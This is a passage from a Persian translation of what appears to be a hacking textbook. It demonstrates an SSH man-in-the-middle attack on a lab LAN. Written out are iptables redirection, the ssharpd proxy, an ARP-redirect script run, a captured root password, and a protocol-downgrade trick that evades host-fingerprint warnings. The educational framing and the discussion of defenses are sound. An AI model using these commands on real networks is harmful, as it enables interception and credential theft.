‫ اﻣـﺎ‬.‫ ﭘﯿﺮو ﺟﻮاز اﯾﻦ ﺑﺴﺘﻪ ﻧﻤﯽ ﺗﻮان آﻧﺮا ﺗﻮزﯾﻊ ﮐـﺮد‬.‫ اﻧﺠﺎم داد‬SSharp ‫ ﺑﻪ ﻧﺎم‬،OpenSSH ‫ﯾﮏ ﺑﺴﺘﻪ دﺳﺘﮑﺎری ﺷﺪه‬
‫ ﺗﻤـﺎم ارﺗﺒﺎﻃـﺎت را‬ssharpd ‫ ﯾﻌﻨـﯽ‬،ssharp ‫ دﯾﻤﻦ‬.‫ ﯾﺎﻓﺖ‬http://stealth.7350.org ‫ﻣﯽ ﺗﻮان اﯾﻦ ﺑﺴﺘﻪ را در آدرس‬
IP ‫ ﻗﻮاﻋـﺪ‬،ssharpd ‫ ﺑـﻪ ﻫﻨﮕـﺎم اﺟـﺮای‬.‫ ﭘﺮاﮐﺴﯽ ﻣﯽ ﮐﻨـﺪ‬،‫ ﻣﻘﺼﺪ ﺣﻘﯿﻘﯽ‬IP ‫ ﺳﭙﺲ ﺗﻤﺎم آﻧﻬﺎ را ﺑﻪ آدرس‬،‫ﻣﯽ ﭘﺬﯾﺮد‬
‫ اﺳﺘﻔﺎده ﻣﯽ‬1337 ‫ ﺑﻪ ﭘﻮرت‬23 ‫ ﺑﺎ ﭘﻮرت ﻣﻘﺼﺪ‬SSH ‫ ﯾﺎ ﻫﺪاﯾﺖ ﮐﺮدن ﺗﺮاﻓﯿﮏ ارﺗﺒﺎط‬redirect ‫ ﺑﻪ ﻣﻨﻈﻮر‬Filtering
‫ را ﻫﺪاﯾﺖ ﻣـﯽ ﮐﻨـﺪ‬192.168.0.189 ‫ و‬192.168.0.118 ‫ ﺗﺮاﻓﯿﮏ ﺑﯿﻦ‬ARP Redirection ‫ ﺳﭙﺲ اﺳﮑﺮﯾﭙﺖ‬.‫ﺷﻮﻧﺪ‬
:‫ در زﯾﺮ ﺧﺮوﺟﯽ اﯾﻦ ﻣﺎﺷﯿﻦ ﻫﺎ را ﻣﺸﺎﻫﺪه ﻣﯽ ﮐﻨﯿﺪ‬.‫ ﻣﯽ ﮔﺬرد‬192.168.0.193 ‫ﺑﻄﻮرﯾﮑﻪ اﯾﻦ ﺗﺮاﻓﯿﮏ از ﻣﺎﺷﯿﻦ‬
On machine overdose @ 192.168.0.193
overdose# iptables -t nat -A PREROUTING -p tcp --sport 1000:5000 --dport 22
-j
REDIRECT --to-port 1337 -i eth0
overdose# ./ssharpd -4 -p 1337

Dude, Stealth speaking here. This is 7350ssharp, a smart


SSH1 & SSH2 MiM attack implementation. It's for demonstration
and educational purposes ONLY! Think before you type ... (<ENTER> or <Ctrl-
C>)

overdose# ./arpredirect.pl 192.168.0.118 192.168.0.189


Pinging 192.168.0.118 and 192.168.0.189 to retrieve MAC addresses...
Retrieving MAC addresses from arp cache...
Retrieving your IP and MAC info from ifconfig...
[*] Gateway: 192.168.0.118 is at 00:C0:F0:79:3D:30
[*] Target: 192.168.0.189 is at 00:02:2D:04:93:E4
[*] You: 192.168.0.193 is at 00:00:AD:D1:C7:ED
Redirecting: 192.168.0.118 -> 00:00:AD:D1:C7:ED <- 192.168.0.189
Redirecting: 192.168.0.118 -> 00:00:AD:D1:C7:ED <- 192.168.0.189
‫ و‬192.168.0.118 ‫ ﺑـﯿﻦ‬SSH ‫ ﯾـﮏ ارﺗﺒـﺎط‬،‫( ﺑﺮﻗـﺮار اﺳـﺖ‬redirection) ‫ﻣﺎداﻣﯽ ﮐﻪ اﯾـﻦ ﺗﻐﯿﯿـﺮ ﺟﻬـﺖ ﯾـﺎ ﻫـﺪاﯾﺖ‬
.‫ ﺑﺎز اﺳﺖ‬192.168.0.189
On machine euclid @ 192.168.0.118
euclid$ ssh [email protected]
The authenticity of host '192.168.0.189 (192.168.0.189)' can't be
established.
RSA key fingerprint is 01:17:51:de:91:9b:58:69:b2:91:6f:3a:e2:f8:48:fe.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '192.168.0.189' (RSA) to the list of known hosts.
[email protected]'s password:
Last login: Wed Jan 22 14:03:57 2003 from 192.168.0.118
tetsuo# exit
Connection to 192.168.0.189 closed.
euclid$
:‫ ﻣﻮارد زﯾﺮ رخ داده اﻧﺪ‬192.168.0.193 ‫ ﺑﺎ آدرس‬overdos ‫ اﻣﺎ ﺑﺮ روی ﻣﺎﺷﯿﻦ‬.‫ارﺗﺒﺎط اﯾﻤﻦ ﺑﻪ ﻧﻈﺮ ﻣﯽ رﺳﺪ‬
Redirecting: 192.168.0.118 -> 00:00:AD:D1:C7:ED <- 192.168.0.189
Redirecting: 192.168.0.118 -> 00:00:AD:D1:C7:ED <- 192.168.0.189
Ctrl-C caught, exiting cleanly.
Putting arp caches back to normal.

overdose# cat /tmp/ssharp


192.168.0.189:22 [root:1h4R)2cr4Kpa$$w0r)]
overdose#
‫ ﺑـﻪ ﻋﻨـﻮان ﯾـﮏ‬192.168.0.193 ‫ ﺑﺎ ﻋﻤﻞ ﮐﺮدن‬،‫( ﻧﯿﺰ ﻫﺪاﯾﺖ ﺷﺪه ﺑﻮد‬authentication) ‫ ﻋﻤﻠﯿﺎت اﻋﺘﺒﺎرﺳﻨﺠﯽ‬،‫ﭼﻮن‬
.‫ﭘﺮاﮐﺴﯽ ﻣﯽ ﺗﻮان ﭘﺴﻮرد را ﻧﯿﺰ اﺳﺘﺮاق ﮐﺮد‬

159
‫ﻣﻬﺎرت ﻧﻔﻮذﮔﺮ در ﻣﻌﺮﻓﯽ ﮐﺮدن ﺧﻮد ﺑﻪ ﻋﻨﻮان ﻃﺮف ﻣﻘﺎﺑﻞ‪ ،‬ﻣﺴﺌﻠﻪ ای اﺳﺖ ﮐﻪ اﯾﻦ ﻧﻮع ﺣﻤﻼت را ﻣﻤﮑـﻦ ﻣـﯽ ﺳـﺎزد‪.‬‬
‫ﮐﺎرﺑﺮدﻫﺎی ‪ SSL‬و ‪ SSH‬ﺑﺎ در ﻧﻈﺮ داﺷﺘﻦ اﯾﻦ ﻣﺴﺌﻠﻪ ﻃﺮاﺣﯽ ﺷﺪﻧﺪ و ﻣﺤﺎﻓﻈﺎﺗﯽ را در ﺑﺮاﺑـﺮ ﺟﻌـﻞ ﻫﻮﯾـﺖ‪ 103‬دارﻧـﺪ‪.‬‬
‫‪ SSL‬از ﮔﻮاﻫﯿﻨﺎﻣﻪ ﻫﺎ و ‪ SSH‬از اﺛﺮات اﻧﮕﺸﺖ ﻣﯿﺰﺑﺎن )‪ (host fingerprint‬ﺑﻪ ﻣﻨﻈﻮر ﺗﻌﯿﯿﻦ اﻋﺘﺒﺎر ﻫﻮﯾـﺖ اﺳـﺘﻔﺎده‬
‫ﻣﯽ ﮐﻨﻨﺪ‪ .‬اﮔﺮ ﻧﻔﻮذﮔﺮ ﮔﻮاﻫﯿﻨﺎﻣﻪ ﺻﺤﯿﺢ را ﻧﺪاﺷﺘﻪ ﺑﺎﺷﺪ ﯾﺎ ﻫﻨﮕﺎﻣﯽ ﮐﻪ ‪ A‬ﻗﺼﺪ ﺑﺮﻗﺮاری ﯾﮏ ﮐﺎﻧﺎل ارﺗﺒﺎﻃﯽ رﻣﺰﺷـﺪه را‬
‫ﺑﺎ ﻧﻔﻮذﮔﺮ دارد‪ ،‬ﻧﻔﻮذﮔﺮ ﺑﺮای‪ B‬اﻧﮕﺸﺖ ﻧﮕﺎری ﮐﻨﺪ)‪ ،(fingerprint‬آﻧﮕﺎه اﻣﻀﺎﻫﺎی دﯾﺠﺘﺎﻟﯽ ﺑﺎ ﻫﻢ ﻣﻨﻄﺒﻖ ﻧﺒﻮده و ‪ A‬ﺑﺎ‬
‫ﯾﮏ اﺧﻄﺎر از اﯾﻦ ﻣﻮﺿﻮع ﻣﻄﻠﻊ ﻣﯽ ﺷﻮد‪.‬‬
‫در ﻣﺜﺎل ﻗﺒﻠﯽ ﻣﺎﺷﯿﻦ ‪ Euclid‬ﻗﺒﻼ ﻫﺮﮔﺰ از ﻃﺮﯾﻖ ‪ SSH‬ﺑﺎ ﻣﺎﺷﯿﻦ ‪ Tetsuo‬ارﺗﺒﺎط ﻧﺪاﺷﺘﻪ اﺳـﺖ‪ ،‬ﻟـﺬا ﻫـﯿﭻ اﺛﺮاﻧﮕـﺸﺖ‬
‫ﻣﯿﺰﺑﺎن در ﻣﺤﻔﻮﻇﺎت آن وﺟﻮد ﻧﺪاﺷﺖ‪ .‬اﺛﺮاﻧﮕﺸﺖ ﻣﯿﺰﺑﺎﻧﯽ ﮐﻪ ﻗﺒﻼ ﭘﺬﯾﺮﻓﺘﻪ ﺷﺪه ﺑـﻮد ﻣﺮﺑـﻮط ﺑـﻪ ﻣﺎﺷـﯿﻦ ‪Overdose‬‬
‫ﺑﻮده اﺳﺖ )و ﻧﻪ ‪ .(Tetsuo‬اﮔﺮ اﯾﻦ ﻣﺴﺌﻠﻪ وﺟـﻮد ﻧﺪاﺷـﺖ و ﻣﺎﺷـﯿﻦ ‪ ،Euclid‬ﯾـﮏ اﺛﺮاﻧﮕـﺸﺖ ﻣﯿﺰﺑـﺎن ﺑـﺮای ﻣﺎﺷـﯿﻦ‬
‫‪Tetsuo‬داﺷﺖ‪ ،‬ﺗﻤﺎم ﺣﻤﻠﻪ ﺗﺸﺨﯿﺺ داده ﻣﯽ ﺷﺪ و ﮐﺎرﺑﺮ ﺑﺎ اﺧﻄﺎر ﻣﺸﮑﻮک زﯾﺮ ﺑﺮﺧﻮرد ﻣﯽ ﻧﻤﻮد‪:‬‬
‫@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@‬
‫@‬ ‫!‪WARNING: REMOTE HOST IDENTIFICATION HAS CHANGED‬‬ ‫@‬
‫@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@‬
‫!‪IT IS POSSIBLE THAT SOMEONE IS DOING SOMETHING NASTY‬‬
‫!)‪Someone could be eavesdropping on you right now (man-in-the-middle attack‬‬
‫‪It is also possible that the RSA host key has just been changed.‬‬
‫‪The fingerprint for the RSA key sent by the remote host is‬‬
‫‪01:17:51:de:91:9b:58:69:b2:91:6f:3a:e2:f8:48:fe.‬‬
‫‪Please contact your system administrator.‬‬
‫ﮐﻼﯾﻨﺖ ‪ OpenSSH‬ﻋﻤﻼ ﺗﺎ زﻣﺎﻧﯽ ﮐﻪ اﺛﺮاﻧﮕﺸﺖ ﻗﺪﯾﻤﯽ ﻣﯿﺰﺑﺎن ﺣﺬف ﻧﺸﺪه ﺑﺎﺷﺪ‪ ،‬ﮐﺎرﺑﺮ را از ارﺗﺒﺎط ﻣﻨﻊ ﻣﯽ ﮐﻨـﺪ‪ .‬ﺑـﺎ‬
‫اﯾﻦ ﺣﺎل ﺑﺴﯿﺎری از ﮐﻼﯾﻨﺖ ﻫﺎی ‪ ،Windows SSH‬اﺟﺮای ﻗﻮاﻧﯿﻦ ﻣﺤـــﮑﻢ و ﺷــﺪﯾﺪ اﯾﻦ ﭼﻨﯿــﻨﯽ را ﻧﺪارﻧﺪ و ﮐـﺎرﺑﺮ‬
‫را ﺗﻨﻬﺎ ﺑﺎ ﯾﮏ ﺟﻌﺒﻪ ﭘﯿﺎم ﺳﺎده ﻣﺎﻧﻨﺪ"?‪ "Are you sure you want to continue‬اﺧﻄﺎر ﻣـﯽ دﻫﻨـﺪ‪ .‬ﯾـﮏ ﮐـﺎرﺑﺮ ﺑـﯽ‬
‫اﻃﻼع ﻣﻤﮑﻦ اﺳﺖ در ﭘﺎﺳﺦ ﺑﻪ اﯾﻦ ﺟﻌﺒﻪ ﭘﯿﺎم‪ ،‬ﮔﺰﯾﻨﻪ ﻣﺜﺒﺖ را اﻧﺘﺨﺎب ﮐﻨﺪ‪.‬‬

‫‪ .4,5,2‬ﺗﻤﺎﯾﺰ دادن اﺛﺮات اﻧﮕﺸﺖ ﻣﯿﺰﺑﺎن در ﭘﺮوﺗﮑﻞ ‪SSH‬‬

‫اﺛﺮات اﻧﮕﺸﺖ ﻣﯿﺰﺑﺎن در ‪ ،SSH‬ﭼﻨﺪ آﺳﯿﺐ ﭘﺬﯾﺮی دارﻧﺪ‪ .‬اﯾﻦ آﺳﯿﺐ ﭘـﺬﯾﺮی ﻫـﺎ در ﻧـﺴﺨﻪ ﻫـﺎی اﺧﯿـﺮ ‪OpenSSH‬‬
‫رﻓﻊ ﺷﺪه اﻧﺪ اﻣﺎ ﻫﻨﻮز در ﭘﯿﺎده ﺳﺎزی ﻫﺎی ﻗﺪﯾﻤﯽ وﺟﻮد دارﻧﺪ‪.‬‬
‫ﻣﻌﻤﻮﻻ اوﻟﯿﻦ ﺑﺎری ﮐﻪ ﯾﮏ ارﺗﺒﺎط ‪ SSH‬ﺑﺎ ﯾﮏ ﻣﯿﺰﺑﺎن ﺟﺪﯾﺪ ﺑﺮﻗﺮار ﻣﯽ ﺷﻮد‪ ،‬ﻫﻤﺎن ﻃﻮر ﮐﻪ در زﯾـﺮ ﻧـﺸﺎن داده ﺷـﺪه‬
‫اﺳﺖ‪ ،‬اﺛﺮاﻧﮕﺸﺖ آن ﻣﯿﺰﺑﺎن ﺑﻪ ﻓﺎﯾﻠﯽ ﺑﺎ ﻧﺎم ‪ known_hosts‬اﺿﺎﻓﻪ ﻣﯽ ﺷﻮد‪:‬‬
‫‪$ ssh 192.168.0.189‬‬
‫‪The authenticity of host '192.168.0.189 (192.168.0.189)' can't be‬‬
‫‪established.‬‬
‫‪RSA key fingerprint is cc:80:12:75:86:49:3a:e6:8b:db:71:98:1e:10:5e:0f.‬‬
‫‪Are you sure you want to continue connecting (yes/no)? yes‬‬
‫‪Warning: Permanently added '192.168.0.189' (RSA) to the list of known hosts.‬‬
‫>‪[email protected]'s password: <ctrl-c‬‬
‫‪$ grep 192.168.0.189 .ssh/known_hosts‬‬
‫‪192.168.0.189 ssh-rsa‬‬
‫‪AAAAB3NzaC1yc2EAAAABIwAAAIEAztDssBM41F7IPw+q/SXRjrqPp0ZazT1gfofdmBx9oVHBcHl‬‬
‫‪byrJDTdE‬‬
‫‪hzA2EAXU6YowxyhApWUptpbPru4JW7aLhtCsWKLSFYAkdVnaXTIbWDD8rAfKFLOdaaW0ODxALOR‬‬
‫‪OxoTYasx‬‬
‫=‪MLWN4Ri0cdwpXZyyRqyYJP72Kqmdz1kjk‬‬
‫ﺑﻪ ﻫﺮ ﺣﺎل‪ ،‬دو ﭘﯿﺎده ﺳﺎزی ﻣﺘﻔﺎوت از ﭘﺮوﺗﮑﻞ ‪ SSH‬ﺑﺎ دو اﺛﺮاﻧﮕﺸﺖ ﻣﯿﺰﺑﺎن ﻣﺘﻔﺎوت وﺟﻮد دارﻧﺪ )‪ SSH1‬و ‪.(SSH2‬‬
‫‪$ ssh -1 192.168.0.189‬‬

‫‪103‬‬
‫‪Identity Spoofing‬‬
‫‪160‬‬
‫‪The authenticity of host '192.168.0.189 (192.168.0.189)' can't be‬‬
‫‪established.‬‬
‫‪RSA1 key fingerprint is 87:6d:82:7f:15:49:37:af:3f:86:26:da:75:f1:bb:be.‬‬
‫?)‪Are you sure you want to continue connecting (yes/no‬‬
‫‪$ ssh -2 192.168.0.189‬‬
‫‪The authenticity of host '192.168.0.189 (192.168.0.189)' can't be‬‬
‫‪established.‬‬
‫‪RSA key fingerprint is cc:80:12:75:86:49:3a:e6:8b:db:71:98:1e:10:5e:0f.‬‬
‫?)‪Are you sure you want to continue connecting (yes/no‬‬
‫‪$‬‬
‫ﺑﻨﺮ ﻇﺎﻫﺮ ﺷﺪه ﺗﻮﺳﻂ ‪ SSH Server‬ﻧﺸﺎن ﻣﯽ دﻫﺪ ﮐﻪ ﺳﺮور ﻗﺎﺑﻠﯿﺖ درک ﮐﺪام ﭘﺮوﺗﮑﻞ را دارد )در زﯾـﺮ ﺑـﻪ ﺻـﻮرت‬
‫‪ bold‬اﺳﺖ(‪:‬‬
‫‪$ telnet 192.168.0.193 22‬‬
‫‪Trying 192.168.0.193...‬‬
‫‪Connected to 192.168.0.193.‬‬
‫‪Escape character is '^]'.‬‬
‫‪SSH-2.0-OpenSSH_3.5p1‬‬
‫‪Connection closed by foreign host.‬‬
‫‪$ telnet 192.168.0.189 22‬‬
‫‪Trying 192.168.0.189...‬‬
‫‪Connected to 192.168.0.189.‬‬
‫‪Escape character is '^]'.‬‬
‫‪SSH-1.99-OpenSSH_3.5p1‬‬
‫‪Connection closed by foreign host.‬‬
‫ﺑﻨﺮ درﯾﺎﻓﺖ ﺷﺪه از ‪ 192.168.0.193‬ﺣﺎوی رﺷﺘﻪ "‪ "SSH-2.0‬اﺳﺖ‪ .‬اﯾﻦ رﺷﺘﻪ ﻧـﺸﺎن ﻣـﯽ دﻫـﺪ ﮐـﻪ ﺳـﺮور ﺗﻨﻬـﺎ ﺑـﺎ‬
‫ﭘﺮوﺗﮑﻞ ‪ 2‬ﮔﻔﺖ و ﮔﻮ ﻣﯽ ﮐﻨﺪ‪ .‬ﺑﻨﺮ درﯾﺎﻓﺖ ﺷﺪه از ‪ 192.168.0.189‬ﺣﺎوی رﺷﺘﻪ "‪ "SSH-1.99‬اﺳﺖ ﮐـﻪ ﻧـﺸﺎن ﻣـﯽ‬
‫دﻫﺪ ﮐﻪ ﺳﺮور ﻣﯽ ﺗﻮاﻧﺪ ﺑﺎ ﻫﺮ دو ﭘﺮوﺗﮑﻞ )ﯾﻌﻨﯽ ‪ 1‬و ‪ (2‬ﮔﻔﺖ و ﮔﻮ ﮐﻨﺪ‪ .‬ﺑﻪ ﻃﻮر ﻗﺮاردادی ﻋﺒﺎرت "‪ "1.99‬ﯾﻌﻨﯽ اﻣﮑﺎن‬
‫ﮔﻔﺖ و ﮔﻮی ﺳﺮور ﺑﺎ ﻫﺮ دو ﭘﺮوﺗﮑﻞ‪ .‬اﻏﻠﺐ ﺳﺮورﻫﺎی ‪ SSH‬ﺑﺎ ﺧﻄـﯽ ﻣﺎﻧﻨـﺪ "‪ "Protocol 1,2‬ﭘﯿﮑﺮﺑﻨـﺪی ﻣـﯽ ﺷـﻮد‪.‬‬
‫ﯾﻌﻨﯽ ﺳﺮور ﺑﺎ ﻫﺮ دو ﭘﺮوﺗﮑﻞ ﮔﻔﺖ و ﮔﻮ ﻣﯽ ﮐﻨﺪ‪ ،‬اﻣﺎ اوﻟﻮﯾﺖ ﺑﺎ ﭘﺮوﺗﮑﻞ ‪ 1‬اﺳﺖ‪.‬‬
‫در ﻣﻮرد ﻣﺎﺷﯿﻦ ‪ 192.168.0.193‬واﺿﺢ اﺳﺖ ﮐﻪ ﻫﻤﻪ ﮐﻼﯾﻨﺖ ﻫﺎی ﻣﺘﺼﻞ ﺑﻪ آن ﻓﻘﻂ ﺑﺎ ‪ SSH2‬ﺑـﺎ آن ارﺗﺒـﺎط دارﻧـﺪ‪،‬‬
‫ﻟﺬا ﻓﻘﻂ اﺛﺮات اﻧﮕﺸﺖ ﻣﯿﺰﺑﺎن ﻣﺮﺑﻮط ﺑﻪ ﭘﺮوﺗﮑﻞ ‪ 2‬وﺟﻮد ﺧﻮاﻫﺪ داﺷـﺖ‪ .‬در ﻣـﻮرد ﻣﺎﺷـﯿﻦ ‪ 192.168.0.189‬اﺣﺘﻤـﺎﻻ‬
‫ﮐﻼﯾﻨﺖ ﻫﺎ ﻓﻘﻂ ﺑﺎ ‪ SSH1‬ﻣﺘﺼﻞ ﻫﺴﺘﻨﺪ‪ ،‬ﻟﺬا ﻓﻘﻂ اﺛﺮات اﻧﮕﺸﺖ ﻣﯿﺰﺑﺎن ﻣﺮﺑﻮط ﺑﻪ ﭘﺮوﺗﮑﻞ ‪ 1‬وﺟﻮد ﺧﻮاﻫﺪ داﺷﺖ‪.‬‬
‫اﮔﺮ دﯾﻤﻦ دﺳﺘﮑﺎری ﺷﺪه ‪ SSH‬و ﻣﻮرد اﺳﺘﻔﺎده در ﺣﻤﻠﻪ ‪ ،MiM‬ﮐﻼﯾﻨﺖ را ﻣﺠﺒﻮر ﺑﻪ ارﺗﺒﺎط از ﻃﺮﯾﻖ ﭘﺮوﺗﮑـﻞ دﯾﮕـﺮ‬
‫ﮐﻨﺪ‪ ،‬آﻧﮕﺎه ﻫﯿﭻ اﺛﺮاﻧﮕﺸﺖ ﻣﯿﺰﺑﺎﻧﯽ وﺟﻮد ﻧﺨﻮاﻫﺪ داﺷﺖ‪ .‬ﺑﻪ ﺟﺎی اﯾﻨﮑﻪ ﮐﺎرﺑﺮ ﺑﺎ ﯾﮏ اﺧﻄﺎر ﻣﻮاﺟﻪ ﺷﻮد‪ ،‬ﺗﻨﻬﺎ ﻧﺴﺒﺖ ﺑـﻪ‬
‫اﺿﺎﻓﻪ ﺷﺪن اﺛﺮاﻧﮕﺸﺖ ﺟﺪﯾﺪ ﻣﻮرد ﺳﻮال ﻗﺮار ﻣﯽ ﮔﯿﺮد‪ .‬اﺑﺰار ‪ ،ssharp‬دارای ﺣﺎﻟﺘﯽ )‪ (mode‬اﺳﺖ ﮐﻪ ﺑﺎ ﻧﻤـﺎﯾﺶ ﺑﻨـﺮ‬
‫ﻣﻮرد ﻧﻈﺮ‪ ،‬ﮐﻼﯾﻨﺖ را ﻣﺠﺒﻮر ﺑﻪ اﺳﺘﻔﺎده از ﭘﺮوﺗﮑﻠﯽ ﻣﯽ ﮐﻨﺪ ﮐﻪ اﺣﺘﻤﺎل اﺳﺘﻔﺎده ﺷـﺪن آن ﮐﻤﺘـﺮ اﺳـﺖ‪ .‬اﯾـﻦ ﺣﺎﻟـﺖ ﺑـﺎ‬
‫ﺳﻮﺋﯿﭻ ‪ -7‬ﻓﻌﺎل ﻣﯽ ﺷﻮد‪.‬‬
‫ﺧﺮوﺟﯽ زﯾﺮ ﻧﺸﺎن ﻣﯽ دﻫﺪ ﮐﻪ ﺳﺮور ‪ SSH‬در ‪ Euclid‬ﻣﻌﻤﻮﻻ ﺑﺎ اﺳﺘﻔﺎده از ﭘﺮوﺗﮑﻞ ‪ 1‬ﺑﻪ ﮔﻔﺖ و ﮔﻮ ﻣﯽ ﭘـﺮدازد‪ ،‬ﻟـﺬا‬
‫ﺑﺎ اﺳﺘﻔﺎده از ﺳــﻮﺋﯿﭻ ‪ ،-7‬ﺳﺮور ﺗﻘﻠﺒﯽ‪ ،‬ﺑﻨﺮی را ﻧﺸﺎن ﻣﯽ دﻫﺪ ﮐﻪ ﭘﺮوﺗﮑﻞ ‪ 2‬را درﺧﻮاﺳﺖ ﻣﯽ ﮐﻨﺪ‪.‬‬
‫‪From machine euclid @ 192.168.0.118 before MiM attack‬‬

‫‪euclid$ telnet 192.168.0.189 22‬‬


‫‪Trying 192.168.0.189...‬‬
‫‪Connected to 192.168.0.189.‬‬
‫‪Escape character is '^]'.‬‬
‫‪SSH-1.99-OpenSSH_3.5p1‬‬

‫‪On machine overdose @ 192.168.0.118 setting up MiM attack‬‬


‫‪overdose# iptables -t nat -A PREROUTING -p tcp --sport 1000:5000 --dport 22‬‬
‫‪-j‬‬
‫‪REDIRECT --to-port 1337 -i eth0‬‬
‫‪overdose# ./ssharpd -4 -p 1337 -7‬‬

‫‪161‬‬
‫‪Dude, Stealth speaking here. This is 7350ssharp, a smart‬‬
‫‪SSH1 & SSH2 MiM attack implementation. It's for demonstration‬‬
‫‪and educational purposes ONLY! Think before you type ... (<ENTER> or <Ctrl-‬‬
‫)>‪C‬‬

‫‪Using special SSH2 MiM ...‬‬


‫‪overdose# ./arpredirect.pl 192.168.0.118 192.168.0.189‬‬
‫‪Pinging 192.168.0.118 and 192.168.0.189 to retrieve MAC addresses...‬‬
‫‪Retrieving MAC addresses from arp cache...‬‬
‫‪Retrieving your IP and MAC info from ifconfig...‬‬
‫‪[*] Gateway: 192.168.0.118 is at 00:C0:F0:79:3D:30‬‬
‫‪[*] Target: 192.168.0.189 is at 00:02:2D:04:93:E4‬‬
‫‪[*] You: 192.168.0.193 is at 00:00:AD:D1:C7:ED‬‬
‫‪Redirecting: 192.168.0.118 -> 00:00:AD:D1:C7:ED <- 192.168.0.189‬‬
‫‪Redirecting: 192.168.0.118 -> 00:00:AD:D1:C7:ED <- 192.168.0.189‬‬

‫‪From machine euclid @ 192.168.0.118 after MiM attack‬‬


‫‪euclid$ telnet 192.168.0.189 22‬‬
‫‪Trying 192.168.0.189...‬‬
‫‪Connected to 192.168.0.189.‬‬
‫‪Escape character is '^]'.‬‬
‫‪SSH-2.0-OpenSSH_3.5p1‬‬
‫ﻣﻌﻤﻮﻻ ﮐﻼﯾﻨﺖ ﻫﺎﯾﯽ ﻣﺜﻞ ‪ ،euclid‬ﻓﻘـﻂ ﺑﺎاﺳـﺘﻔﺎده از ‪ SSH1‬ﺑـﺎ ﻣﺎﺷـﯿﻦ ‪ 192.168.0.189‬ارﺗﺒـﺎط ﺑﺮﻗـﺮار ﻣـﯽ ﮐﻨﻨـﺪ‪.‬‬
‫درﻧﺘﯿﺠﻪ‪ ،‬ﻓﻘﻂ اﺛﺮاﻧﮕﺸﺖ ﻣﯿﺰﺑﺎن ﻣﺮﺑﻮط ﺑﻪ ﭘﺮوﺗﮑﻞ ‪ 1‬در ﮐﻼﯾﻨﺖ ذﺧﯿﺮه ﻣﯽ ﺷﻮد‪ .‬ﻫﻨﮕـﺎﻣﯽ ﮐـﻪ اﺳـﺘﻔﺎده از ﭘﺮوﺗﮑـﻞ ‪2‬‬
‫ﺑﻮاﺳﻄﻪ ﺣﻤﻠﻪ ‪ MiM‬اﺟﺒﺎر ﺷﺪه اﺳﺖ‪ ،‬ﺑﻪ دﻟﯿﻞ ﺗﻔﺎوت ﭘﺮوﺗﮑﻞ ﻫﺎ )ﺑـﯿﻦ ﭘﺮوﺗﮑـﻞ ذﺧﯿـﺮه ﺷـﺪه در ﮐﻼﯾﻨـﺖ و ﭘﺮوﺗﮑـﻞ‬
‫ﻣﻮرد اﺳﺘﻔﺎده ﻓﻌﻠﯽ(‪ ،‬اﺛﺮاﻧﮕﺸﺖ ﻧﻔﻮذﮔﺮ ﺑﺎ اﺛﺮ اﻧﮕﺸﺖ ذﺧﯿﺮه ﺷﺪه ﻣﻘﺎﯾﺴﻪ ﻧﻤﯽ ﮔﺮدد‪ .‬ﭘﯿﺎده ﺳﺎزی ﻫﺎی ﻗﺪﯾﻤﯽ ﺗـﺮ ﺑـﻪ‬
‫دﻟﯿﻞ ﻋﺪم وﺟﻮد اﺛﺮاﻧﮕﺸﺖ ﻣﯿﺰﺑﺎن ﺑﺮای اﯾﻦ ﭘﺮوﺗﮑﻞ‪ ،‬ﺗﻨﻬﺎ ﺳﻮاﻟﯽ را ﻣﺒﻨﯽ ﺑﺮ اﺿﺎﻓﻪ ﮐﺮدن اﺛﺮاﻧﮕﺸﺖ ﺟﺪﯾﺪ ﻣﻄﺮح ﻣـﯽ‬
‫ﮐﻨﻨﺪ‪ .‬اﯾﻦ ﻣﺴﺌﻠﻪ در ﺧﺮوﺟﯽ زﯾﺮ ﻧﻤﺎﯾﺎن اﺳﺖ‪:‬‬
‫‪euclid$ ssh [email protected]‬‬
‫‪The authenticity of host '192.168.0.189 (192.168.0.189)' can't be‬‬
‫‪established.‬‬
‫‪RSA key fingerprint is cc:80:12:75:86:49:3a:e6:8b:db:71:98:1e:10:5e:0f.‬‬
‫?)‪Are you sure you want to continue connecting (yes/no‬‬
‫ﭼﻮن اﯾﻦ آﺳﯿﺐ ﭘﺬﯾﺮی ﻋﻤﻮﻣﯽ و ﺷﻨﺎﺧﺘﻪ ﺷﺪه اﺳﺖ‪ ،‬ﻟﺬا ﭘﯿﺎده ﺳﺎزی ﻫـﺎی ﺟﺪﯾـﺪﺗﺮ ‪ OpenSSH‬اﺧﻄﺎرﻫـﺎی ﺗﮑﻤﯿﻠـﯽ‬
‫ﺑﯿﺸﺘﺮی دارﻧﺪ‪:‬‬
‫‪euclid$ ssh [email protected]‬‬
‫‪WARNING: RSA1 key found for host 192.168.0.189‬‬
‫‪in /home/matrix/.ssh/known_hosts:19‬‬
‫‪RSA1 key fingerprint c0:42:19:c7:0d:dc:d7:65:cd:c3:a6:53:ec:fb:82:f8.‬‬
‫‪The authenticity of host '192.168.0.189 (192.168.0.189)' can't be‬‬
‫‪established,‬‬
‫‪but keys of different type are already known for this host.‬‬
‫‪RSA key fingerprint is cc:80:12:75:86:49:3a:e6:8b:db:71:98:1e:10:5e:0f.‬‬
‫?)‪Are you sure you want to continue connecting (yes/no‬‬
‫ﻗﺪرت ﻇﺎﻫﺮی اﯾﻦ اﺧﻄﺎر دﺳﺘﮑﺎری ﺷﺪه از اﺧﻄﺎر ﻇﺎﻫﺮﺷـﺪه ﻫﻨﮕـﺎم ﻋـﺪم اﻧﻄﺒـﺎق دو اﺛﺮاﻧﮕـﺸﺖ ﻣﯿﺰﺑـﺎن از ﭘﺮوﺗﮑـﻞ‬
‫ﯾﮑﺴﺎن ﮐﻤﺘﺮ اﺳﺖ‪ .‬ﻫﻤﭽﻨﯿﻦ ﺑﻪ دﻟﯿﻞ ﻋﺪم ﺑﻪ‪-‬روز‪-‬ﺑﻮدن ﺗﻤﺎم ﮐﻼﯾﻨﺖ ﻫﺎ‪ ،‬اﯾﻦ ﺗﮑﻨﯿﮏ ﺛﺎﺑﺖ ﮐـﺮد ﮐـﻪ ﻫﻨـﻮز ﻣـﯽ ﺗﻮاﻧـﺪ‬
‫ﺑﺮای ﯾﮏ ﺣﻤﻠﻪ ‪ MiM‬ﻣﻔﯿﺪ ﺑﺎﺷﺪ‪.‬‬

‫‪ .4,5,3‬اﺛﺮات اﻧﮕﺸﺖ ﻓﺎزی )‪(Fuzzy‬‬

